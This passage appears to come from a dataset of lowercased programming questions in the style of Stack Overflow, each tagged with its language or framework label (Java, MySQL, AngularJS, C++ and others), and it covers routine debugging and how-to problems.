toast-warning      }        messageclass:  toast-message       onhidden: null      onshown: null      ontap: null      progressbar: false      taptodismiss: true      templates: {       toast:  directives/toast/toast.html         progressbar:  directives/progressbar/progressbar.html      }      timeout: 5000      titleclass:  toast-title       toastclass:  toast    }); }); </code></pre>   again everything works if i remove ng-strict-di  but when i apply it.. it errors out. if i remove the app.config code  everything works.. but i need this as i have a lot of toastr notifications throughout my app. so what s going on here  i couldn t find anything related to this in the angular docs  and it shows that i m using app.config correctly  so why is this being a problem,angularjs
how to access property in sub method after it runs   i m having a hard time working this one out but i think it should be pretty simple. basically  i have this method which talks to a webservice and i need to return some data from the sub method  the  authcode . what am i doing wrong  how can i get the authcode out of the manager  or can i create a block or something to to ensure that the manager block runs first  am i even using the right words - blocks  sub methods    please help :)   <pre><code>- (nsstring *)getauthcodeexample { __block nsstring *returnstring = @ nothing yet! ; nsurl *baseurl = [nsurl urlwithstring:baseurlstring]; nsdictionary *parametersgetauthcode = @{@ req : @ getauth };  afhttpsessionmanager *manager = [[afhttpsessionmanager alloc] initwithbaseurl:baseurl]; manager.responseserializer = [afjsonresponseserializer serializer];  [manager post:apiscript parameters:parametersgetauthcode success:^(nsurlsessiondatatask *task  id responseobject) {     if ([task.response iskindofclass:[nshttpurlresponse class]]) {         nshttpurlresponse *r = (nshttpurlresponse *)task.response;         if ([r statuscode] == 200) {             self.returneddata = responseobject;             nsstring *authcode = [self.returneddata authcode];             nslog(@ authcode: %@   authcode);             returnstring = authcode;         }     } } failure:^(nsurlsessiondatatask *task  nserror *error) {     uialertview *alertview = [[uialertview alloc] initwithtitle:@ error  message:[error localizeddescription] delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil];     [alertview show]; }];  //this currently returns  nothing yet!  return returnstring; </code></pre>   },objective-c
printing nested lists in certain directions - python  i am trying a problem to make graphical designs in python  more specifically ascii  banner  words. each letter is made up of a nested list of lines of the character.    <pre><code> [[  _______     (       )    | () () |    | || || |    | |(_)| |    | |   | |    | )   ( |    |/     \\| ]  [  _______     (  ____ \\    | (    \\/    | (__        |  __)       | (          | (____/\\    (_______/ ]] </code></pre>   etc.    when printed down for each nested list and across for the whole thing  they make a word. i am having trouble printing it as i said above  down for each nested list and across for the whole thing. thanks in advance!,python
program won t continue when i press enter  i have never run into this issue before. when i press enter accept the userinput the program does not execute. any reason why    <pre><code>#include &lt;iostream&gt; using namespace std;  struct node{   char data;   struct node* left;   struct node* right; };   struct node* newnode(int idata){   struct node* node = new struct node;    node -&gt; data = idata;   node -&gt; left = null;   node -&gt; right = null;    return node; };  void getuserinfo(string &amp;userinput  int &amp;lengthstring){   cout &lt;&lt;  a string that contains a dot(.) will be invalid!  &lt;&lt; endl;   cout &lt;&lt;  enter a string -&gt; ;   cin &gt;&gt; userinput;    // getting the length of string   lengthstring = userinput.length(); }  void stringtochar(char *&amp; chararray  int &amp;lengthstring){   for(int i = 0; i &lt; lengthstring; i++){     cin &gt;&gt; *(chararray+i);   } }  int main(){   string userinput;   int lengthstring = 0;    char * chararray;   chararray = new char [lengthstring];    getuserinfo(userinput  lengthstring);    stringtochar(chararray  lengthstring);    /*struct node *root= newnode(9);   root -&gt;left = newnode(20);   (*root).right = newnode(3);   cout &lt;&lt; root-&gt;right-&gt;data;   */    return 0; } </code></pre>,c++
whats the difference between  !=  and  <>  in mysql  whats the difference between <code>!=</code> and <code>&lt;&gt;</code> in mysql. which symbol is good to user in sql query for not equal condition.can someone tell me whats the pros and cons of using the not equal symbol in mysql.,mysql
when i wrap contents in an <a> tag  the link doesn t work in ie  help   i know this is probably frowned upon  but a client wants live text wrapped in one  tag....    so  here is my dilemma:    i have some code like this:   <pre><code>&lt;a href= google.com &gt;     &lt;img src= img.jpg  style= float:left; &gt;     &lt;div style= float:right; &gt;         &lt;h3&gt;title&lt;/h3&gt;         &lt;p&gt;description&lt;/p&gt;     &lt;/div&gt;     &lt;div style= clear:both; &gt;&lt;/div&gt; &lt;/a&gt; </code></pre>   i styled the  to be display:block.    this method works great in ff5  ie = not all content is clickable  in this example only the image is clickable. chrome = works. safari = works.    if you have a different method you might suggest please offer it.    thanks in advance!,html
how to control the format of rails select_date   currently  a date picker is shown by:   <pre><code>&lt;%= select_date @blog.date  :use_short_month =&gt; true %&gt; </code></pre>   it is shown as 3 drop down lists  example:   <pre><code>  [2009] [jun] [4] </code></pre>   how can i change the <code>[yyyy] [mmm] [d]</code> sequence to <code>[d] [mmm] [yyyy]</code> dynamically when the form loads  so it looks like:   <pre><code>  [4] [jun] [2009] </code></pre>   note: changes required to be done in <code>environment.rb</code> is considered too static.,ruby-on-rails
tweetquote - hebrew not working  im trying to use tweetquote plugin for jquery     when i use the default username: pauljcampbell its working perfectly     when im changing to mine  raalcoil  it isnt..    ive worked it out a bit and found out its a lang problem  the default filter is for english  when im changing to lang:he   its not working.   <pre><code>&lt;script src= {$base_url}tweet.js  type= text/javascript  charset= utf-8 &gt;&lt;/script&gt; &lt;script type= text/javascript  charset= utf-8 &gt; //&lt;![cdata[ tweetquote.load( {      username  :  raalcomm        refreshrate  : 2000       defaulttext  :  loading  } ); //]]&gt; &lt;/script&gt; </code></pre>,jquery
xcode no matching private key found  i have an app which was distributed from another mac  what do i need from the other mac to be able to archive my app for upload  and which changes do i need in the xcode paths to make all work. thanks and sorry for bad english.,ios
how to extract number and string in java  i want to extract number and add these numbers using java and string remain same.    string as-   <pre><code>string msg= 1 2 hello world 3 4 ; </code></pre>   output should come like- 10 hello world    thanks,java
querying 2 tables for all results  i have a sql qustion. its suppose to be simple but i cant figure it out. i have 2 tables:   <pre><code>**customer1 -**  id      name 1       aaa 2       bbb 3       ccc 4       ddd  **customer2**- id      name 1       aaa 2       bbb 5       eee 6       fff </code></pre>   i need to get all the customers in both tables. i need to query in a way that if a customer is on both tables i will see him twice in the results (e.g aaa  bbb)  and all the rest only one.    thanks a lot.,sql
does asp.net use reflection to parse and build objects based on server control tags   if so  are the results cached after the first access,asp.net
sql sum of payments  i have two <code>mysql</code> tables:   <ol> <li>users: id  payment  date of payment</li> <li>payments: id  userid  amount  date of payment</li> </ol>   payment in table 1 is supposed to be the aggregate of all payments of that user from table  and date of payment the date of the last payment of a user.    <code>users.payment</code> should be the sum of <code>payments.userid</code>. so every-time a payment is recorded in table <code>payments</code>  <code>users.payment</code> is updated and <code>users.date</code> of payment is updated to the latest <code>payments.date</code> of payment    as a total sql-newbie i would like to know how i can achieve that users.payment is the sum of payments.amount and gets updated automatically for each new insertion into the payments table.,mysql
"table layout with inner div  i would like to have a simple table layout  but my html contains additional div between row and cells:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.table {
   display: table;
 }
 
 .row {
   display: table-row;
 }
 
 .cell {
   display: table-cell;
   width: 80px;
 }
 
 ul {
   display: table-row-group;
 }
 
 .inter {
   /* display:     */
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= table &gt;
   &lt;div class= row &gt;
     &lt;div class= cell &gt;
       head 1
     &lt;/div&gt;
     &lt;div class= cell &gt;
       head 2
     &lt;/div&gt;
   &lt;/div&gt;
   &lt;ul&gt;
     &lt;li class= row &gt;
       &lt;div class= inter &gt;
         &lt;!-- this div spoils the layout --&gt;
         &lt;div class= cell &gt;
           cell 11
         &lt;/div&gt;
         &lt;div class= cell &gt;
           cell 12
         &lt;/div&gt;
       &lt;/div&gt;
     &lt;/li&gt;
     &lt;li class= row &gt;
       &lt;div class= inter &gt;
         &lt;div class= cell &gt;
           cell 21
         &lt;/div&gt;
         &lt;div class= cell &gt;
           cell 22
         &lt;/div&gt;
       &lt;/div&gt;
     &lt;/li&gt;
   &lt;/ul&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     the result would be perfect  if there is no  div.inter . any idea how to make proper layout table having this additional div     here is the fiddle: <a href= https://jsfiddle.net/olin9/d7kvgweg/  rel= nofollow noreferrer >https://jsfiddle.net/olin9/d7kvgweg/</a>",css
display digits individually  i am having trouble with the following question...   <blockquote>     write a method displaydigits that receives an integer between 1 and   99999 and displays it as a sequence of digits  separating each pair of   digits by two spaces. for example  the integer 4562 should appear as 4   5  6  2   </blockquote>   this is what i have currently  i know it displays the numbers backwards  but won t compile with a <code> error: missing return statement </code> error.   <pre><code>public static int displaydigits(int num1) {     for (int i=0; num1&gt;0; i++)     {         return(num1 % 10)     } } </code></pre>   the book noted that we only use <code>%</code> and <code>/</code> to solve the problem. help please!! i ve been working on this for hours...,java
is it always necessary to declare destructor as virtual  if the class contains atleast a virtual function  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/461203/when-to-use-virtual-destructors >when to use virtual destructors </a>    </blockquote>     if all the data members of a class (which has virtual function) and it s inherited class are of non pointer type (means it can not hold any dynamic memoroy)  is it required to declare destructor as virtual     example   <pre><code>class base {     int x; public:     virtual void fn(){}  };  class der: public base {     int y; public:     void fn(){}  }; </code></pre>   here do we need a virtual destructor,c++
compiler error message: cs1061:  i have a drop-list that has to be showing image files names from a folder  but when i run the page this error accrues:   <blockquote>    compiler error message: cs1061:  asp.pagesnew_managementpages_manageproducts_aspx  does not contain a definition for  ddimage_selectedindexchanged  and no extension method  ddimage_selectedindexchanged  accepting a first argument of type  asp.pagesnew_managementpages_manageproducts_aspx  could be found (are you missing a using directive or an assembly reference )  </blockquote>  <pre><code> &lt;%@ page title=   language= c#  masterpagefile= ~/masterpage.master  autoeventwireup= true  codefile= manageproducts.aspx.cs  inherits= pagesnew_managementpages_manageproducts  %&gt; </code></pre>   the tags that were wrong:   <pre><code>image:&lt;/p&gt; line 25:     &lt;p&gt; line 26:         &lt;asp:dropdownlist id= ddimage  runat= server  onselectedindexchanged= ddimage_selectedindexchanged &gt; line 27:         &lt;/asp:dropdownlist&gt; line 28:     &lt;/p&gt; </code></pre>  <hr>   this is the whole file:   <pre><code>&lt;asp:content id= content1  contentplaceholderid= head  runat= server &gt; &lt;/asp:content&gt; &lt;asp:content id= content2  contentplaceholderid= contentplaceholder1  runat= server &gt;     &lt;p&gt;         name:&lt;/p&gt;     &lt;p&gt;         &lt;asp:textbox id= txtname  runat= server &gt;&lt;/asp:textbox&gt;     &lt;/p&gt;     &lt;p&gt;         type:&lt;/p&gt;     &lt;p&gt;         &lt;asp:dropdownlist id= ddtype  runat= server  datasourceid= sqldatasource1  datatextfield= name  datavaluefield= id &gt;         &lt;/asp:dropdownlist&gt;         &lt;asp:sqldatasource id= sqldatasource1  runat= server  connectionstring= &lt;%$ connectionstrings:connectionstring %&gt;  selectcommand= select * from [producttypes] order by [name] &gt;&lt;/asp:sqldatasource&gt;     &lt;/p&gt;     &lt;p&gt;         price:&lt;/p&gt;     &lt;p&gt;         &lt;asp:textbox id= txtprice  runat= server &gt;&lt;/asp:textbox&gt;     &lt;/p&gt;     &lt;p&gt;         image:&lt;/p&gt;     &lt;p&gt;         &lt;asp:dropdownlist id= ddimage  runat= server  onselectedindexchanged= ddimage_selectedindexchanged &gt;         &lt;/asp:dropdownlist&gt;     &lt;/p&gt;     &lt;p&gt;         description:&lt;/p&gt;     &lt;p&gt;         &lt;asp:textbox id= txtdescription  runat= server  height= 72px  textmode= multiline  width= 223px &gt;&lt;/asp:textbox&gt;     &lt;/p&gt;     &lt;p&gt;         &lt;asp:button id= btnsubmit  runat= server  text= submit  /&gt;     &lt;/p&gt;     &lt;p&gt;         &lt;asp:label id= lblresult  runat= server &gt;&lt;/asp:label&gt;     &lt;/p&gt; &lt;/asp:content&gt; </code></pre>  <hr>   i don t understand whats wrong,asp.net
output youtube video  i need to output youtube video via ajax in my rails 3 app. there are other ways of doing it  but for js.erb  i need to do it in a different way.i want to display youtube video using jquery s html() method or some other method. i tried this:   <pre><code>$( #bt ).click(function () {        $( #vid ).html(     &lt;object width= 640  height= 390 &gt;&lt;param name= movie  value= http://www.youtube.com/v/9qs0q3mgpgg fs=1&amp;amp;hl=en_us&amp;amp;rel=0 &gt;&lt;/param&gt;&lt;param name= allowfullscreen  value= true &gt;&lt;/param&gt; + &lt;param name= allowscriptaccess  value= always &gt;&lt;/param&gt;&lt;embed src= http://www.youtube.com/v/9qs0q3mgpgg fs=1&amp;amp;hl=en_us&amp;amp;rel=0&amp;autoplay=1  type= application/x-shockwave-flash  allowscriptaccess= always  allowfullscreen= true  width= 640  height= 390 &gt;&lt;/embed&gt;&lt;/object&gt; );     }); </code></pre>   but it is not displaying the video.is there a way to do it,jquery
where is localtime_s()   i see localtime() in the  reference <a href= http://www.cplusplus.com/reference/ctime/  rel= nofollow >here</a>  but visual studio 2012 is giving me a warning when i use it and recommending that i use localtime_s(). this seems to work  but i don t see it in the documentation. why is that  is this not part of the standard library  where should i go for reference,c++
how to catch exceptions using customerrors   in web.config:   <pre><code>&lt;customerrors mode= remoteonly  defaultredirect= ~/errors.aspx &gt;     &lt;error statuscode= 404  redirect= ~/error.aspx code=404 /&gt;      &lt;/customerrors&gt; </code></pre>   in page s code behind:   <pre><code>throw new httpexception(404   404 not found ); </code></pre>   on this line  visual studio breaks with an error:   <blockquote>    system.web.httpexception was unhandled   by user code  </blockquote>   where should i catch this error,asp.net
french regional setting number format issue  i have a .net application in which i have entered some values say 0.21 when my regional settings as in english but when i change it to french settings the number gets converted to 0 21 and when i read and convert it to double i get this value as 21 instead of 0.21    any help would be appreciated    code dblwork = convert.todouble(txtinput.text),.net
unreachable statement in switch in android content provider  so i m getting an unreachable statement in the following switch statement. i can t figure out why this is happening  any help would be much appreciated.     <pre><code>@override public int delete(uri uri  string selection  string[] selectionargs) {     sqlitedatabase db = pshelper.getwritabledatabase();     int delcount = 0;     return 0;     switch (uri_matcher.match(uri)) {         case product_list:             // the line below is unreachable             delcount = db.delete(table_name_products  selection  selectionargs);             break;         case product_id:             string idstr = uri.getlastpathsegment();             string where = pscontract.products.id_column +   =   + idstr;             if (!textutils.isempty(selection)) {                 where +=   and   + selection;             }             delcount = db.delete(table_name_products  where  selectionargs);             break;         case supplier_list:             delcount = db.delete(table_name_suppliers  selection  selectionargs);             break;         case supplier_id:             string idstr2 = uri.getlastpathsegment();             string where2 = pscontract.products.id_column +   =   + idstr2;             if (!textutils.isempty(selection)) {                 where2 +=   and   + selection;             }             delcount = db.delete(table_name_suppliers  where2  selectionargs);             break;         default:             throw new illegalargumentexception( unsupported uri:   + uri);     }         getcontext().getcontentresolver().notifychange(uri  null);     return delcount; } </code></pre>,android
how to cast a datetime to a specific 24 hour time  i have all my data stamped with a field- dated which is in the format y-m-d h:i- i would like to cast this field using mysql to represent the hour of the day so- 2011-11-21 15:28:05 would become 15- i have been reading the docs but it doesnt state whether or not you can specify a format     is this possible     the idea is  i can count how many rows are stamped for each hour then display this in a graph.    this has been my working so far   <pre><code>select cast(dated as time) from `posts` where cast(dated as date) = cast(  .$start_date.   as date) and type =    order by dated asc; </code></pre>,mysql
can i select insert to mysql but modify values manually  <pre><code>insert into   keyword_history (    keyword_id      searchengine      location       4       curdate()    )   select    keyword_id     searchengine     location   from    keyword_history   where    history_id = 21 </code></pre>   basically  what i m trying to do is :    <ol> <li>select a row from a table </li> <li>insert it again but this time with current date and the value  4 </li> </ol>,mysql
default values - java clarification  why aren t default values assigned to the variables  that haven t been initialized within a class with main function      <pre><code>class test {     public static void main(string[] args) {          int x;// x has no default value         string y;// y has no default value         system.out.println( x is   + );         system.out.println( y is   + );     } } </code></pre>   whereas the default values get assigned in case the variables remain uninitialized in a class without any main function.   <pre><code>class student {     string name; // name has default value null     int age; // age has default value 0     boolean issciencemajor; // issciencemajor has default value false     char gender; // c has default value  \u0000      int x;     string y; } </code></pre>,java
xcode error:  passing  float  to parameter of incompatible type id   i have set a variable <code>radius</code> in my objective c implentation file:    <code>float radius = min(bounds.origin.x  bounds.origin.y) / 2.0;</code>    i am trying to check the value of it  so i added in:   <pre><code>nslog(radius); </code></pre>   xcode gives me this error at the end of the line:    <code>passing  float  to parameter of incompatible type id</code>    why is it expecting an  id   and why can t it log a float,objective-c
is there any point in using synonymous tags (like i and dfn)  is there any additional effect behind the scenes in using something like dfn  instead of i  is there any browser that actually implements a special use for something like dfn  such as a special type of find menu that finds the definition for terms,html
c- how to read input from stdin until newline character using read()   basically i want to use the read() function to read in a typed message from stdin  but i want to quit the message by typing just the enter key instead of using ctrl + d. what s the best way to do this,c
autolayout - unable to simultaneously satisfy constraints  in a collection view cell  i just put an image and a label in the cell.    here are what i want to achieve:   <ul> <li> image on the top and label on the bottom. </li> <li> both image and label take up full width of the view. </li> <li> image width and height ratio is 3:4 </li> <li> label take up the rest of the space below the image. </li> </ul>   the interface looks as below:    <a href= https://i.stack.imgur.com/gjqkn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/gjqkn.png  alt= enter image description here ></a>    the constraints for image view are: <a href= https://i.stack.imgur.com/jopoi.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jopoi.png  alt= enter image description here ></a>    the constraints for label are: <a href= https://i.stack.imgur.com/cjxb0.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/cjxb0.png  alt= enter image description here ></a>    the interface builder didn t complain any issues. however i got console logs at runtime says there are unsatisfied constraints:   <pre><code>     &lt;nsautoresizingmasklayoutconstraint:0x17429a220 h=--&amp; v=--&amp; uiview:0x14ddaf690.width == 335   (active)&gt;        &lt;nsautoresizingmasklayoutconstraint:0x17429a2c0 h=--&amp; v=--&amp; uiview:0x14ddaf690.height == 278   (active)&gt;        &lt;nslayoutconstraint:0x174299460 uiimageview:0x14ddaf830.width == 0.75*uiimageview:0x14ddaf830.height   (active)&gt;        &lt;nslayoutconstraint:0x174299910 v:|-(0)-[uiimageview:0x14ddaf830]   (active  names:  | :uiview:0x14ddaf690 )&gt;        &lt;nslayoutconstraint:0x174299960 h:[uiimageview:0x14ddaf830]-(0)-|   (active  names:  | :uiview:0x14ddaf690 )&gt;        &lt;nslayoutconstraint:0x1742999b0 h:|-(0)-[uiimageview:0x14ddaf830]   (active  names:  | :uiview:0x14ddaf690 )&gt;        &lt;nslayoutconstraint:0x174299aa0 v:[uiimageview:0x14ddaf830]-(0)-[uilabel:0x14ddafa10 dress\n$299.99 ]   (active)&gt;        &lt;nslayoutconstraint:0x174299b90 v:[uilabel:0x14ddafa10 dress\n$299.99 ]-(0)-|   (active  names:  | :uiview:0x14ddaf690 )&gt;   will attempt to recover by breaking constraint  &lt;nslayoutconstraint:0x174299460 uiimageview:0x14ddaf830.width == 0.75*uiimageview:0x14ddaf830.height   (active)&gt; </code></pre>   can not figure out where there is a conflict.    can someone help  thanks.    <strong>solved</strong>    after debug into it. found the cause of this issue is that the autoresizing for cell s contentview didn t work properly. therefore  the cell s size ratio was less than 3:4. adding the following code seg solved the problem.    <pre><code>- (void)awakefromnib {     [super awakefromnib];     // initialization code     self.contentview.autoresizingmask = uiviewautoresizingflexiblewidth | uiviewautoresizingflexibleheight; } </code></pre>,ios
angularjs not loading on chrome  some of our app users report seeing handlebar curly braces when they go to the page. this has been reported by people on chrome (versions vary from 26 to 31). it is happening to a few of the users. is there any known issues  the users just send a screenshot with the visible handlebar braces. the app is using angular js version 1.0.5,angularjs
sql query get max date from different table  ok  i have a tankid and a unitnumber in one table and an expireddate in another table  but that table has multiple expired dates for the same tankid  i just want the max(expireddate).   <pre><code>    tankid    unitnumber   expireddate     20666   107            2009-08-31 00:00:00     20666   107            2010-08-31 00:00:00     20666   107            2011-08-31 00:00:00     20666   107            2012-08-31 00:00:00     20666   107            null </code></pre>   now i just want to return     20666    107     2012-08-31    i tried to do this:   <pre><code>        select  tanks.tankid  tanks.unitnumber  max(table2.expiredate)         from tanks          join table2 on tanks.tankid = table2.tankid         where companyid =  1111          and   tanks.tankid =  22222          order by tanks.tankid </code></pre>   that obviously doesn t work  does anybody know how to do this   thanks,sql
how to suspend and resume a thread user input through the command prompt   how to suspend and resume a thread user input through the command prompt     i want a program where user can get the thread running from the stage where he stooped the thread by suspending.    package foo;    import java.util.vector;    public class threadtest {   <pre><code>private vector&lt;string&gt; threadnames = new vector&lt;string&gt;();  public static void main(string[] args) {      threadtest test = new threadtest();      test.threadtest(integer.parseint(args[0]));      system.out.println(test.threadnames);  }  private void threadtest(int numofthreads) {      thread[] threads = new thread[numofthreads];      for (int i = 0; i &lt; threads.length; i++) {          threads[i] = new foo.threadtest.mythread();          threads[i].start();      }      for (int i = 0; i &lt; threads.length; i++) {          try {              threads[i].join();          } catch (interruptedexception ignore) {}      }  }  class mythread extends thread {      public void run() {          for (int i = 0; i &lt; 1000000; i++) {              i = i + 0;          }          threadnames.add(getname());      }  } </code></pre>   },java
vertical alignment tableless  i have 3 columns field  first 2 columns is the description and the last column is the image. is there a way to vertical align the description according to the height of the image. i could not specify the line height since the height of the image will vary. currently  if i use table then there is no problem. but what i want is to use <code>div</code> or <code>li</code>.    any suggestion would greatly appreciated. thanks in advance.,css
static initializer not invoked for a derived class  the following java code does not invoke the static initializer of class <code>b</code>. why     code:   <pre><code>class a  {     static      {         system.out.println( a static init );     }      public static void f()      {         system.out.println( f() called );     } }  class b extends a  {     static      {         system.out.println( b static init );     } }  public class app {     public static void main( string[] args)     {         b.f(); //invokestatic  #16                 // method com/db/test/b.f:()v     } } </code></pre>   program output:   <pre><code>a static init f() called </code></pre>   tested on jdk 1.8.0_25,java
how to post on the wall of twitter from my application <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/757649/is-there-an-iphone-sdk-api-for-twitter >is there an iphone sdk api for twitter </a>    </blockquote>     i need to post on the wall of twitter from my application.    i found info regarding facebook but there is no much info regarding twitter.    is there any sdk that i need to post on the wall of twitter.    can any one please post some code or tutorial regarding this.    thank u in advance.,iphone
how do i put the removed word into a variable   so i have been making a memory game in which a 3x3 grid is displayed  and is removed after 30 seconds. after  another 3x3 grid is displayed but one of the words from the first grid has been replaced with another word. the user has to guess the original word that has been replaced. however i am unsure how to code this. here is my code:   <pre><code>import random # imports the random module  to generate the words import time  # imports the time module  used for the countdown try:     with open ( patrick star.txt ) as f: # opens the text file     words = random.sample([x.rstrip() for x in f]  9)     grid = [words[i:i + 3] for i in range(0  len(words)  3)] # puts the words into a 3x3 grid     for x y z in grid:         print (x y z) # prints the 3x3 grid except ioerror:     print( the code does not seem to be working ) time.sleep(30) # displays it for 30 seconds import os os.system( cls ) # this function clears the screen after countdown  print( time s up! )   try:     with open ( patrick star.txt ) as f: # opens the text file     words = random.sample([x.rstrip() for x in f]  9)     grid = [words[i:i + 3] for i in range(0  len(words)  3)] # puts the words into a 3x3 grid     for x y z in grid:         print (x y z) # prints the 3x3 grid </code></pre>,python
get all records from table_a that are not in table_b and with a condition in table_c  basically the question is to    get all records from table_a that are not in table_b and has [id] corresponding to field [type] in table_c    the table layout looks like this   <pre><code>table_a     id     ref_id  table_b     id  table_c     id     type </code></pre>   here is my query   <pre><code>select * from table_a t1 left join table_b t2 on t1.id = t2.id where t1.ref_id in [ id1   #paramid] and type in (select id from table_c where type = #paramtype) </code></pre>   it might work (though i did not test) but i do not like that inner <code>select</code>. is there a way to avoid it using <code>join</code>s,sql
error while rendering a partial in rails3  i am trying to render a partial in rails using the normal   <pre><code>&lt;%=render  subtasks/descform %&gt; command </code></pre>   now the issue is that this descform partial is being called from inside another partial which is  subtasks/subtask  and their are many subtasks.    so the subtask partial is also getting rendered from the task partial like this   <pre><code>&lt;% task.subtasks.each do |subtask| %&gt; &lt;%=render :partial=&gt;subtask %&gt; &lt;%end%&gt; </code></pre>   so the problem is in the desc form it has a form like this   <pre><code>&lt;%=form_for subtask :remote=&gt;:true :method =&gt; :put do |f| %&gt;           &lt;%= f.text_area :description rows: 5  cols: 12  :class=&gt; myarea %&gt;           &lt;%= f.submit  save  class: btn btn-success col-md-4  %&gt;          &lt;a data-id= &lt;%=subtask.id %&gt;  href= #  class= myclose &gt;&lt;i class= fa fa-times fa-lg  style= margin:10px auto; &gt;&lt;/i&gt;&lt;/a&gt; &lt;% end %&gt; </code></pre>   so when i am trying to render this form i am getting an error     undefined local variable or method `subtask  for #&lt;#:0x458f6b8>    can somebody please explain the cause of this error and how to fix this.,ruby-on-rails
mysql improve performmance by create new table  the code below is work but it take long time to run sometime the php code stop but it work well with mysql graphical tool (becase  it can wait) .  are there any method to make it faster i use index in some column it help are there any method to create table if i create table i think it will improve performance but this table it must be update maybe one a week what is the good practice please suggest   <pre><code>select member.own  member.provincecode  province.province_name  member.amphurecode      amphur.amphur_name  member.sname  member.ssurname  member.hno  member.moo      member.sex  member.tambol  member.dateofbirth  member.migratedate      year( current_date( ) ) -  year( member.dateofbirth ) as y       year( current_date( ) ) - year( member.migratedate ) as m from member left join amphur on ( member.amphurecode collate utf8_general_ci = amphur.amphur_code ) left join province on member.provincecode collate utf8_general_ci = province.province_code </code></pre>,mysql
javascript/jquery doesnt work on my html  im not sure way but javascript doesnt work when i run it..im using chrome and firefox and when i debugged it nothing came up.   help my if you can .. also when im adding the <code>&lt;!doctype html&gt;</code> to my code the nav and header disappear..    this is my html   <pre><code>&lt;html&gt; &lt;head&gt;         &lt;title&gt;final project&lt;/title&gt;   &lt;link rel= stylesheet  type= text/css  href= css/final.css &gt;  &lt;!-- latest compiled and minified css --&gt; &lt;link rel= stylesheet  href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css &gt;  &lt;!-- optional theme --&gt; &lt;link rel= stylesheet  href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap-theme.min.css &gt;  &lt;!-- latest compiled and minified javascript --&gt; &lt;script src= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js &gt;&lt;/script&gt;  &lt;/head&gt; &lt;body&gt;     &lt;div class= wrep &gt;         &lt;nav&gt;          &lt;ul  class= nav nav-pills pull-right &gt;             &lt;li role= navigation  class= active &gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/li&gt;             &lt;li role= navigation &gt;&lt;a href= # &gt;about us&lt;/a&gt;&lt;/li&gt;             &lt;li role= navigation &gt;&lt;a href= # &gt;contact us&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;         &lt;ul  class= nav nav-pills pull-left &gt;             &lt;li role= menu  class= omer &gt;&lt;a href= # &gt;omer&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt;             &lt;div class= icon-menu &gt;             &lt;span class= glyphicon glyphicon-list &gt;&lt;text&gt;menu&lt;text&gt;&lt;/span&gt;             &lt;/div&gt;           &lt;/div&gt;     &lt;/nav&gt;     &lt;header&gt;&lt;/header&gt;     &lt;div class= main  id= grad &gt;&lt;h1&gt;welcome to ducati&lt;/h1&gt;         &lt;div class= row &gt;             &lt;div class= col-md-2 box   id= box1 &gt;             &lt;span class= glyphicon glyphicon-headphones &gt;&lt;/span&gt;             &lt;p&gt;lorem ipsum&lt;/p&gt;             &lt;/div&gt;             &lt;div class= col-md-2 box   id= box2 &gt;             &lt;span class= glyphicon glyphicon-music &gt;&lt;/span&gt;             &lt;p&gt;lorem ipsum&lt;/p&gt;             &lt;/div&gt;             &lt;div class= col-md-2 box   id= box3 &gt;             &lt;span class= glyphicon glyphicon-download-alt &gt;&lt;/span&gt;             &lt;p&gt;lorem ipsum&lt;/p&gt;             &lt;/div&gt;             &lt;div class= col-md-2 box   id= box4 &gt;             &lt;span class= glyphicon glyphicon-shopping-cart &gt;&lt;/span&gt;             &lt;p&gt;lorem ipsum&lt;/p&gt;             &lt;/div&gt;         &lt;/div&gt;      &lt;/div&gt;     &lt;footer&gt; &amp;copy; all right belong to me :)&lt;/footer&gt;      &lt;/div&gt;  &lt;script src= js/final.js &gt;&lt;/script&gt; &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js &gt;&lt;/script&gt;           &lt;/body&gt; &lt;/html&gt; </code></pre>   this is my javascript   <pre><code>    var main = function() {    $( .omer ).click(function() {     $( .wrap ).animate({       left:  285px      }  200);   });   $(document).ready(main);}; </code></pre>   and this is my css   <pre><code>    * {     margin: 0;     padding: 0;     font-family: arial; }    .wrap {     width: 1000px;     margin: 0 auto;  }    header {     background-image: url( http://dre.ducati.it/wp-content/uploads/2015/02/home_multi-720x404.jpg );     height: 55%;     background-repeat:no-repeat;     background-size:100%;     background-position: center center;     border-top:2px solid black;    }  .icon-menu {     color: #fff;     cursor: pointer;     font-family: arial  sans-serif;     font-size: 14px;     text-decoration: none;     text-transform: uppercase;     float:left;     position:relative;     } .icon-menu:hover{     background:#e3e3ff;     border-bottom-left-radius: 4px;     border-bottom-right-radius: 4px;     border-top-left-radius: 4px;     border-top-right-radius: 4px;     box-sizing: border-box;     height:40px;     width:100px;  }  .icon-menu span{   margin-left: 10px;   margin-top: 8px;   font-size:20px;     color: rgb(51  122  183); } .icon-menu span text{  font-size:20px; margin-left:4px;   }  .main h1{     text-align:center;     margin:auto; } .main span{     text-align:center;     font-size:30px;     margin-top:10px; }  .main{     position: relative;     background: lightgrey;     height: 60%;     border-bottom:2px solid black;     text-align:center;   } #grad {   background: -webkit-linear-gradient(left top  gray gray red gray white ); /* for safari 5.1 to 6.0 */   background: -o-linear-gradient(bottom right  gray gray red gray white); /* for opera 11.1 to 12.0 */   background: -moz-linear-gradient(bottom right  gray gray red gray white); /* for firefox 3.6 to 15 */   background: linear-gradient(to bottom right  gray gray red gray white); /* standard syntax */ }   #box1{ margin-left:170px; background-image:linear-gradient(       rgba(0  0  0  0.1)         rgba(0  0  0  0.1)     ) url( https://encrypted-tbn0.gstatic.com/images q=tbn:and9gctb2yz8vh8ya8cmafxdelgl1yg2h9wnubkmimjtfa_-ouywmbjrsg ); } #box2{ background-image:url( 